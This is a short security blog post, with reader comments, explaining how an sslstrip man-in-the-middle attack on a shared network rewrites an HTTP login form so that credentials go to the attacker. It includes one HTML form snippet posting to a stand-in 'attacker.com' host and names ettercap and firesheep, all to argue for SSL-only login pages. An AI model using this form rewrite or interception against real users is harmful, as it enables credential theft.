HTTP POST -> HTTPS = Bad Idea®
Update: fixed some grammar errors, added mention of firesheep.
This will be a quick post (pun intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page. Many, many websites do this (Digg & Facebook quickly come to mind), and it’s a serious problem that has an easy solution.
When a user logs into a service, she has a reasonable expectation that her credentials will be secured in transit. In the context of web applications, this means SSL/TLS.
A typical Facebook login goes like this:
1. Adam requests http://www.facebook.com
2. Facebook sends a response containing:
<form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1″name=”menubar_login” id=”menubar_login”>
3. Adam enters his credentials and hits Login.
The problem: How does Adam know that the login form he intends to submit to facebook.com is actually destined for facebook.com? As stated in step 2, facebook.com should have returned HTML that instructs Adam’s browser to POST to an SSL-secured page at login.facebook.com. What kind of assurance does Adam have that this is the code he received?
Consider the following scenario: Mallory uses something like ettercap (or firesheep) on her university’s dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students’ to send all Internet-bound traffic through her computer.
Mallory then uses Moxie Marlinspike’s sslstrip to automate an attack against Facebook. sslstrip will replace facebook.com’s response from step 2 with something like:
<form method=”POST” action=”http://www.attacker.com/”>
Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory’s malicious web host.
After harvesting the credentials, Mallory continues employing sslstrip to make (possiblly SSL-secured) page requests on Adam’s behalf, staying in the middle of the conversation and reading everything on the wire. Or she could just reset the connection, forcing Adam to legitimately log in. After all, she got what she set out for; why let Adam continue to consume her resources?
The solution: Only offer login pages over SSL. Pretty simple.
Paul Makowski
things worth reading
- An error has occurred; the feed is probably down. Try again later.
my 20% 
If your http traffic go through somenone’s computer, it dosen’t matter how secure, all of your data can be stolen.
Well, if it’s HTTP, as opposed to HTTPS/SSL/TLS/TLA, then it’s not secure. There’s no meaningful effort made to protect the confidentiality of the data with standard HTTP.
Sorry, I wanted to write https, and the point is that, if you have a machine between the two endpoint of comunication, you can steel the keys with a proxy (at least with squid), than you can do anything, and dosen’t matter if the whole page is encrypted. (Sorry for my english.)
Ah OK. And yes, you can steal a session key so long as you can get the client to accept a bad certificate (or you have a means of obtaining / generating a fraudulent certificate). In general, however, you can’t do what you’re describing against clients / servers that validate certificates against a trust heirarchy.